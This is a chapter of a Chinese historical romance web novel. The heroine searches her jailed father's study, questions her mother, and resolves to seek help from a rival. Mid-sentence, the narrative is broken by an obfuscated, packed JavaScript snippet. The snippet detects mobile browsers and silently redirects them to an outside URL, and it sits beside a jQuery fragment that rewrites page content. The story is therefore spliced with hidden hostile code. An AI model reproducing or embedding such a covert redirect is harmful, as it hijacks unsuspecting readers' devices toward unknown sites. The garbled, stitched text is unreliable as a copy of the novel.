她伸出手指触碰桌面，触手之处，光洁如镜，一丝灰垢也无。还有书架，也是一样，诡异的干净，就像是有人为了掩饰来过的痕迹刻意擦拭过一般。 楚湉蹲下身子查看地面，青砖表面竟有几处椭圆的颜色梢深的印记，若不是仔细查看绝对看不出来，但是她此刻手中举着烛火，才看出端倪。 应当是有水滴落在地上，但是没有及时清扫导致的。 看着像是脚印。 楚湉猛地醒悟过来，书房在父亲入狱之后，绝对是有人潜进来过！还是在一个雨夜。 究竟是谁派的人？ 难道是陛下？不，那他尽可以把楚府查封，找的会更快，也不用担心东西落入别人手里。可除了他之外，还会有别人吗。 楚湉的思绪乱成一团。若是已经有人闯进来过，那么即使有东西藏在这里，很可能也已经被拿走了，与其再这么等待下去，还不如去找父亲弄清楚到底发生了何事。只有从父亲那里，才能拼凑出完整的脉络。 可是再次进入大理寺，怕是比登天还难。锦庆应当不会再出手帮忙了，收买狱卒的路经过上次的风波之后大抵也行不通，就算她真的进去了，父亲愿不愿意对她袒露实情也还是个未知数。 一切阻碍横贯在楚湉面前，前方是未知的凶险，可是她怎么能任由父亲就这么蒙冤，楚湉感受到从未有过的无助，这主要来自于内心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15672808|172790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的恐惧。 要从这世间权势最大的人手底下谋取一条活路，他们只是区区的蝼蚁，逃不脱也避不开，更可怕的是，说不定还有更大的灾祸在后面等着他们。 楚湉着急走出书房：“把赵管家叫过来见我，我要看家里的所有账册。” 母亲说的是对的，搬出上京的事情应该尽早提上日程，这种事拖不得，她一定要护住楚家最后的希望。 当务之急便是要盘点好楚家的资产，若是要换个地方重新开始生活，一切都需要大量的银子，她必须得在短时间内把这些都处理好。 她需要做好做坏的打算，若是父亲的冤案一直无法解决，也许她们这一世都不能踏足上京了。 黯淡的天光下，院子里一片凄凉的景象，曾经茂密的树枝光秃秃一片，只有惨败的树干在寒风中摇摇欲坠瑟瑟发抖，零星的几只乌鸦站在上头张望。 午后，楚湉照例去服侍母亲用药，她轻轻吹散一口热气，用汤匙舀起一勺药汁送至出楚夫人唇边，见母亲面色比从前好转了许多，她状若不经意地开口问道：“进来家中琐事繁多，女儿好不容易得空去了父亲的书房一趟想要寻几本书来看，却没找到喜欢的。” “不知母亲可有留意过，父亲那些看重的书籍史册都放在什么地方？” 楚湉微微抬眼，目光里带着一丝试探，书房里的物件看似并没有丢什么，大概是那些人并没有找到，父亲若是藏得隐蔽，也许从母亲这里能够获得些许线索。 楚夫人眼神一滞，似在回想，片刻后靠在软枕上轻轻叹了口气：“你父亲素来不许我管这些，我都懒得插手，自然是不知的。” 她否认得十分干脆，甚至都没有问楚湉到底想找的是什么书就断然拒绝。 联想起母亲一开始听到她这个问题时愣住的眼神，楚湉越发觉得，这态度不像是不知道，更像是和父亲说好了般，刻意在瞒着她。 …… 冬夜，冷月高悬。 楚湉端坐于窗边的榻上，凝视着窗外好似被霜华铺满的地面，不自觉蹙起眉头，纷杂的思绪将她团团困住，心里一筹莫展。 她控制不住的去想，父亲入狱背后究竟牵扯着什么秘密，若真是元帝有意为之把父亲关进牢里，她又该去哪儿找破局之法？ 就在这时，屋外闪过一道灵动的身影。 楚欣欣像只活泼的兔子般从窗下探出头来：“姐姐，你在想什么，想得这般出神，我都在这儿站了好久了，你都没注意到。” 楚湉被这突如其来的动静吓了一跳，手中无意识摆弄着的丝帕也滑落下来。 丝帕悠悠然挣脱束缚，好似一只折翼的蝶，在空中打着旋儿，缓缓坠在地上。 眼前的丝帕竟如前日夜里一般奇迹般地再现着相同的轨迹，恰似一道闪电划过夜空，立马唤醒了她的记忆。 宋知明立于庭前，彼时她还信誓旦旦地说无论如何也不会求他相助。 想到此，楚湉脑子“嗡”地一下，血液不受控制地涌上头顶，身子猛地一颤，好似被重拳击中一般。 事到如今，除了宋知明。 她竟想不出第二个合适的人选。